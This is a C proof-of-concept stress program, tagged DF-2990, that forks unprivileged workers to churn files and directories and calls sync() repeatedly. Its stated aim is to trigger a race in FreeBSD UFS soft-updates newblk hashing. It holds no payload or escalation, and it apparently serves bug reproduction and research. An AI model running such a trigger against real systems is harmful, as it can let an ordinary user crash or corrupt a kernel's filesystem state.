DF-2990 / churn.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 | /* * DF-2990 - UFS softdep newblk hash race stress (trigger only). * * Races softdep_setup_blkmapdep() [lock-free LIST_INSERT_HEAD into * newblk_hashtbl, ffs_softdep.c:1032] against softdep_setup_allocdirect() * / setup_allocindir_phase2() [LIST_REMOVE from the same chains under the * softdep lock, ffs_softdep.c:1317/1633] by running many processes that * continuously allocate, extend and delete files on a softdep UFS mount. * * Unprivileged: run as a normal user on a root-mounted softdep UFS fs. */ #include <sys/stat.h> #include <sys/wait.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <time.h> #define NPROC 10 #define BSIZE 16384 /* default ffs block size for newfs */ #define FSIZE 2048 /* default frag size (frag alloc path) */ #define NBLKS 24 /* blocks per big file (384KB) */ static void worker(const char *dir, int id, int secs) { char sub[512], fn[512], fn2[512]; char *big, *small; unsigned long iter = 0; time_t end = time(NULL) + secs; snprintf(sub, sizeof(sub), "%s/w%d", dir, id); mkdir(sub, 0777); big = malloc(BSIZE); small = malloc(FSIZE); memset(big, 'A' + id, BSIZE); memset(small, 'a' + id, FSIZE); while (time(NULL) < end) { /* * A: create a 1MB file one block per write -> 64 * (newblk insert in blkmapdep + remove in allocdirect) pairs. */ snprintf(fn, sizeof(fn), "%s/f%lu", sub, iter % 8); int fd = open(fn, O_CREAT | O_WRONLY | O_TRUNC, 0666); if (fd >= 0) { for (int b = 0; b < NBLKS; b++) write(fd, big, BSIZE); close(fd); } /* B: frag-sized create + unlink (ffs_alloccg frag path) */ snprintf(fn2, sizeof(fn2), "%s/d%lu", sub, iter % 8); fd = open(fn2, O_CREAT | O_WRONLY | O_TRUNC, 0666); if (fd >= 0) { write(fd, small, FSIZE); close(fd); unlink(fn2); } /* C: recycle the big file's blocks back into the allocator */ unlink(fn); /* D: directory churn (dir blocks go through the same paths) */ if ((iter & 7) == 0) { char dn[512]; snprintf(dn, sizeof(dn), "%s/m%lu", sub, iter % 3); if (mkdir(dn, 0777) == 0) rmdir(dn); } iter++; } _exit(0); } int main(int argc, char **argv) { const char *dir = argc > 1 ? argv[1] : "."; int secs = argc > 2 ? atoi(argv[2]) : 600; int i, status; fprintf(stderr, "df2990 churn: dir=%s procs=%d secs=%d\n", dir, NPROC, secs); for (i = 0; i < NPROC; i++) { pid_t pid = fork(); if (pid == 0) worker(dir, i, secs); } /* * Parent: periodic sync to (a) keep softdep block recycling ahead * of the churn so we never hit ENOSPC, and (b) generate big async * write-completion interrupt storms - interrupts preempting a CPU * between the insert stores of newblk_lookup stretch the race * window to interrupt-service time. */ for (i = 0; i < secs / 2; i++) { sleep(2); sync(); } for (i = 0; i < NPROC; i++) wait(&status); fprintf(stderr, "df2990 churn: done\n"); return (0); } |